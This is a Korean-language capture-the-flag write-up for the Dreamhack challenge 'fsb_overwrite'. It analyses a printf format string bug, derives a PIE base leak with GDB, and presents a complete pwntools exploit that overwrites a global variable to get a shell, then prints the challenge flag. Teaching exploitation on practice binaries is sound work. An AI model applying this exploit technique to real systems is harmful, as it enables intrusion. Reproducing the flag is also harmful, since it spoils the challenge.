System Hacking/인터루드 스터디

260528 [Dreamhack] Format String Bug

daaaay 2026. 5. 28. 19:11

문제

 

https://dreamhack.io/wargame/challenges/356

 

로그인 | Dreamhack

 

dreamhack.io

 

문제 파일

Dockerfile
0.00MB
fsb_overwrite
0.02MB
fsb_overwrite.c
0.00MB

 

 

풀이

문제 파일들 풀이 진행할 폴더로 이동하기

 

 

작업 표시줄에 있는 ubuntu 관리자 버전 열기

 

동작 확인해보기

계속 입력받고 입력값을 출력한다. 

1. fsb_overwrite.c 코드분석

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme; // 조작해야 할 타겟 전역 변수 (초기값 0)

int main() {
  char buf[0x20]; // 32바이트 버퍼 할당
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf); // 취약점 (FSB) 발생 지점
    puts("");
    if (changeme == 1337) { // 목표: changeme 값을 1337로 만들기
      system("/bin/sh");
    }
  }
}

 

  • 동작: 프로그램은 무한 루프(while(1))를 돌며 사용자로부터 입력을 받고, 입력값을 그대로 출력한다.
  • 취약점: printf(buf);에서 형식 지정자(%s 등)를 사용하지 않아 포맷 스트링 버그(FSB)가 발생한다.
  • 목표: 취약점을 이용하여 전역 변수 changeme의 메모리 공간에 1337이라는 값을 덮어쓰면 쉘(system("/bin/sh"))을 획득할 수 있다.

 

 

2. 보호 기법 

pwn checksec fsb_overwrite

 

  • 64비트 환경: 함수 호출 시 인자를 스택이 아닌 레지스터 6개(RDI, RSI, RDX, RCX, R8, R9)에 먼저 저장하고, 7번째 인자부터 스택에 저장한다. (포맷 스트링 오프셋 계산 시 이 6개를 무조건 더해줘야 한다.)
  • Full RELRO: GOT 영역에 쓰기 권한이 없다. 따라서 앞선 실습처럼 printf나 exit의 GOT를 조작하는 방식(GOT Overwrite)은 불가능하다.
  • NX : 스택에 쓴 쉘코드 실행 불가
  • PIE & ASLR 적용: 실행할 때마다 코드 영역을 포함한 모든 메모리 주소가 무작위로 바뀐다.
  • 해결 전략: 절대 주소가 계속 변하므로, 현재 실행된 메모리의 코드 베이스 주소(Code Base)를 구해야 한다. 코드 베이스만 알면 프로그램 내에 하드코딩된 changeme 변수의 상대적 오프셋을 더해 현재 changeme의 실제 주소를 알아낼 수 있다.

 

3. 익스플로잇 설계 (1) - Base Leak (주소 유출)

PIE 환경에서 코드 베이스를 구하려면, 스택에 남아있는 실행 파일(바이너리)의 주소 중 하나를 찾아내 화면에 출력시켜야 한다.

① GDB를 통한 스택 분석 및 오프셋 도출

먼저 GDB를 킨다. 

gdb ./fsb_overwrite

 

 

printf 호출 부분을 찾아보자 

disass main

 

printf가 호출되는 시점에 브레이크포인트를 건다. 

b *main+76

 

 run 하고 아무거나 입력해보자. aaaa를 입력했다.

더보기
pwndbg> run
Starting program: /home/dada/Interlude_System_Study/fsb_overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaa

Breakpoint 1, 0x00005555555552df in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────
Breakpoint hit at 0x5555555552df
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
 RAX  0
 RBX  0x7fffffffd6d8 —▸ 0x7fffffffd98f ◂— '/home/dada/Interlude_System_Study/fsb_overwrite'
 RCX  0x7ffff7d1ba91 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  4
 RDI  0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */
 RSI  0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */
 R8   0
 R9   0x7ffff7fca380 (_dl_fini) ◂— endbr64
 R10  0x7fffffffd2d0 ◂— 0x800000
 R11  0x246
 R12  1
 R13  0
 R14  0x555555557d90 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551c0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffd5b0 —▸ 0x7fffffffd650 —▸ 0x7fffffffd6b0 ◂— 0
 RSP  0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */
 RIP  0x5555555552df (main+76) ◂— call printf@plt
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
b► 0x5555555552df <main+76>     call   printf@plt                  <printf@plt>
        format: 0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */
        vararg: 0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */

   0x5555555552e4 <main+81>     lea    rax, [rip + 0xd1e]     RAX => 0x555555556009 ◂— 0x68732f6e69622f00
   0x5555555552eb <main+88>     mov    rdi, rax               RDI => 0x555555556009 ◂— 0x68732f6e69622f00
   0x5555555552ee <main+91>     call   puts@plt                    <puts@plt>

   0x5555555552f3 <main+96>     mov    eax, dword ptr [rip + 0x2d23]     EAX, [changeme]
   0x5555555552f9 <main+102>    cmp    eax, 0x539
   0x5555555552fe <main+107>  ? jne    main+47                     <main+47>

   0x555555555300 <main+109>    lea    rax, [rip + 0xd03]                RAX => 0x55555555600a ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x555555555307 <main+116>    mov    rdi, rax                          RDI => 0x55555555600a ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x55555555530a <main+119>    call   system@plt                  <system@plt>

   0x55555555530f <main+124>    jmp    main+47                     <main+47>
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rdi rsi rsp 0x7fffffffd580 ◂— 0x61616161 /* 'aaaa' */
01:0008│-028         0x7fffffffd588 ◂— 0
02:0010│-020         0x7fffffffd590 ◂— 0
03:0018│-018         0x7fffffffd598 —▸ 0x7ffff7fe5af0 (dl_main) ◂— endbr64
04:0020│-010         0x7fffffffd5a0 —▸ 0x7fffffffd690 —▸ 0x555555555120 (_start) ◂— endbr64
05:0028│-008         0x7fffffffd5a8 ◂— 0xe9174fbd262e0200
06:0030│ rbp         0x7fffffffd5b0 —▸ 0x7fffffffd650 —▸ 0x7fffffffd6b0 ◂— 0
07:0038│+008         0x7fffffffd5b8 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► 0   0x5555555552df main+76
   1   0x7ffff7c2a1ca __libc_start_call_main+122
   2   0x7ffff7c2a28b __libc_start_main+139
   3   0x555555555145 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

 

 

PIE로 인해 무작위로 할당된 현재 메모리 맵을 확인하기 위해 vmmap 명령어를 입력하자

 

출력된 vmmap 결과에서 맨 오른쪽의 File 열을 봐보자

수많은 메모리 영역 중에서 찾고자 하는 것은 우분투 기본 라이브러리(libc.so.6)나 스택([stack])이 아니라, 문제 파일 그 자체인 fsb_overwrite다.

출력 결과의 맨 위쪽 5줄을 보면 파일 이름이 fsb_overwrite로 되어 있는 구간이 있다.

 

이 5개의 묶음이 현재 바이너리가 메모리에 쪼개져서 올라간 전체 덩어리다.

 

  • 시작점 (코드 베이스): fsb_overwrite가 적재된 맨 첫 줄의 Start 주소가 0x555555554000이다. 이 값이 이 바이너리의 기준점이 되는 코드 베이스(Code Base)다.
  • 끝점: fsb_overwrite 데이터 영역이 끝나는 마지막 5번째 줄의 End 주소가 0x555555559000이다.

 

출력 결과를 통해 현재 바이너리가 매핑된 주소 범위가 0x555555554000 ~ 0x555555559000 이며, 코드 베이스 주소가 0x555555554000 임을 확인했다.

 

 

이제 스택 메모리를 확인하여, 앞서 확인한 바이너리 주소 대역에 포함되는 값이 스택에 남아있는지 봐보자 

x/32gx $rsp

 

 

 

gdb 스택 출력 형식 : 

  • 왼쪽 (0x7fffffffd580:): 이 값이 위치한 스택의 주소. 맨 위 줄의 왼쪽 주소가 바로 현재 $rsp (스택 포인터)의 주소다.
  • 오른쪽 두 개의 값 (0x0000000061616161, 0x0000000000000000): 그 스택 주소에 저장된 실제 데이터(값). 64비트(8바이트) 환경이므로 한 칸당 8바이트씩 보여주고 있다.
    • 첫 번째 열의 값은 0x7fffffffd580 위치에 있는 값.
    • 두 번째 열의 값은 0x7fffffffd580 + 8 = 0x7fffffffd588 위치에 있는 값
0x7fffffffd600: 0x0000555555557d90      0x00007ffff7ffd000
[① 기준 주소]      [② 첫 번째 칸 데이터]        [③ 두 번째 칸 데이터]

 

 

우리가 찾아야 할 값은 0x555555554000 ~ 0x555555559000 사이에 있는 값이다.

스택에 출력된 값들(오른쪽 부분)을 쭉 훑어보며 앞자리가 0x000055555555...로 시작하는 숫자를 찾으면 된다. 

어차피 오프셋 값만 맞춰서 빼주면 되니 4개 중에 아무거나 선택해도 된다. 

 

 

0x0000555555557d90을 타겟으로 해보자 

 

이 값이 $rsp로부터 얼마나 떨어져 있는지(오프셋) 계산해 보자.

  1. 현재 $rsp 주소: 0x7fffffffd580 (맨 윗줄 첫 번째)
  2. 타겟 값의 스택 주소:
    • 타겟 값 0x0000555555557d90이 위치한 줄을 보면 0x7fffffffd600: 0x0000555555557d90 ... 이다.
    • 첫 번째 열에 위치하므로 스택 주소는 0x7fffffffd600이다.
      • 내가 찾은 값이 왼쪽 칸에 있다: 주소 = 줄 맨 앞에 적힌 주소 그대로
      • 내가 찾은 값이 오른쪽 칸에 있다: 주소 = 줄 맨 앞에 적힌 주소 + 8
  3. 오프셋 계산 (거리 빼기):
    • (타겟 스택 주소) - (현재 $rsp 주소)
    • 0x7fffffffd600 - 0x7fffffffd580 = 0x80

따라서, 0x0000555555557d90이라는 값은 스택의 시작점인 $rsp로부터 0x80 바이트만큼 떨어져 있는 위치에 저장되어 있다. 인덱스로 표현하면 rsp + 0x80이 된다.

 

 

② 포맷 스트링 인자 위치 계산

찾아낸 주소(rsp + 0x80)를 화면에 띄우기 위해 포맷 스트링 오프셋을 계산해야 한다.

  • 64비트 환경이므로 함수 호출 시 레지스터가 앞의 6자리를 먼저 차지한다.
  • rsp(스택의 7번째 인자)부터 스택이 시작된다. 0x80은 10진수로 128이다. 64비트(8바이트) 환경이므로 128 ÷ 8 = 16, 즉 스택에서 16번째 칸에 위치한다.
  • 총 인자 순서: 6 (레지스터) + 16 (스택) = 22번째 인자
  • 유출 페이로드: %22$p (22번째 인자를 포인터 주소 형식으로 출력해라)

프로그램에 %22$p를 전송하여 출력된 값에서 미리 구한 고정 오프셋 0x3D90을 빼면, 이번 실행의 진짜 코드 베이스 주소를 알아낼 수 있다.

4. 익스플로잇 설계 (2) - changeme 값 변조하기

이제 코드 베이스를 구했으니, 덮어써야 할 changeme 변수의 실제 메모리 주소를 알 수 있다. 

공식: 코드 베이스 + changeme 심볼의 상대 오프셋 = changeme의 실제 주소

이 주소에 1337이라는 값을 써야 한다. 페이로드 구조를 조립하고 정렬(Padding)해야 한다.

① 쓰기 값 및 문자열 정렬

목표 값은 1337이다. 따라서 포맷 스트링 앞에 %1337c를 배치하여 1337개의 공백을 먼저 출력시킨다.

그다음 주소를 덮어쓸 오프셋 위치를 맞추기 위해 메모리 슬롯을 8의 배수(16바이트)로 정렬한다.

  • %1337c%0$n의 길이는 총 10바이트다.
  • 64비트 스택 한 칸이 8바이트이므로, 2칸(16바이트)에 깔끔하게 맞추기 위해 부족한 6바이트만큼 A 문자로 패딩을 채운다. (%1337c%0$nAAAAAA)

② 최종 오프셋 계산 (%8$n)

위에서 만든 16바이트(2칸) 페이로드 바로 뒤에 우리가 값을 쓸 타겟인 changeme 주소를 붙일 것이다.

  • 16바이트(스택 2칸)를 소모했으므로, 덮어쓸 주소는 스택의 3번째 칸(인덱스로는 2)인 rsp + 0x10 위치에 들어가게 된다.
  • 총 인자 순서: 6 (레지스터) + 2 (스택 공간) = 8번째 인자
  • 변조 페이로드: %1337c%8$nAAAAAA + [changeme 주소]

 

5. 최종 익스플로잇 코드 (exploit.py)

from pwn import *

# 1. 문제 서버 접속
p = remote("host8.dreamhack.games", 18276)
e = ELF('./fsb_overwrite')

# 2. Base Leak (주소 유출)
p.sendline(b"%22$p")                         # 22번째 인자(바이너리 주소) 출력 요청
leak = int(p.recvline()[:-1], 16)            # 출력된 16진수 주소값을 정수로 변환
code_base = leak - 0x3D90                    # 유출된 주소 - 고정 오프셋 = 현재 코드 베이스

# 3. changeme 변수의 실제 주소 계산
# e.symbols['changeme']는 PIE 환경에서 바이너리에 하드코딩된 상대 주소(offset)를 반환함
changeme = code_base + e.symbols['changeme'] 

# 4. Payload 작성 및 값 변조 (1337 쓰기)
# ljust(16) 함수를 통해 전체 문자열 길이가 16바이트가 되도록 모자란 부분에 기본 공백 등을 채움
# (AAAAAA 패딩을 자동으로 맞춰주는 파이썬 내장 함수)
payload = b"%1337c%8$n".ljust(16) + p64(changeme)

p.sendline(payload)

# 5. 쉘 획득 및 상호작용
p.interactive()

 

 

파이썬 파일 생성 

nano s.py

 

코드 붙여넣고 컨트롤+O, 컨트롤 + X

 

스크립트 실행

python3 s.py

 

 

  1. 무한 루프를 도는 프로그램이 %22$p를 받아 주소를 유출한다.
  2. 스크립트가 코드 베이스를 계산하고, 즉시 %1337c... 페이로드를 조립해 서버로 던진다.
  3. printf가 실행되면서 changeme 변수의 값이 1337로 변경되고, 조건문(if (changeme == 1337))을 통과하여 system("/bin/sh")가 실행된다.
  4. [*] Switching to interactive mode 메시지가 뜨며 쉘을 획득한다.

 

쉘 프롬프트($)가 뜨면 아래 명령어를 입력하여 플래그를 확인한다.

cat flag

 

 

플래그

DH{b283dec57b17112a4e9aa6d5499c0f28}

 

성공이다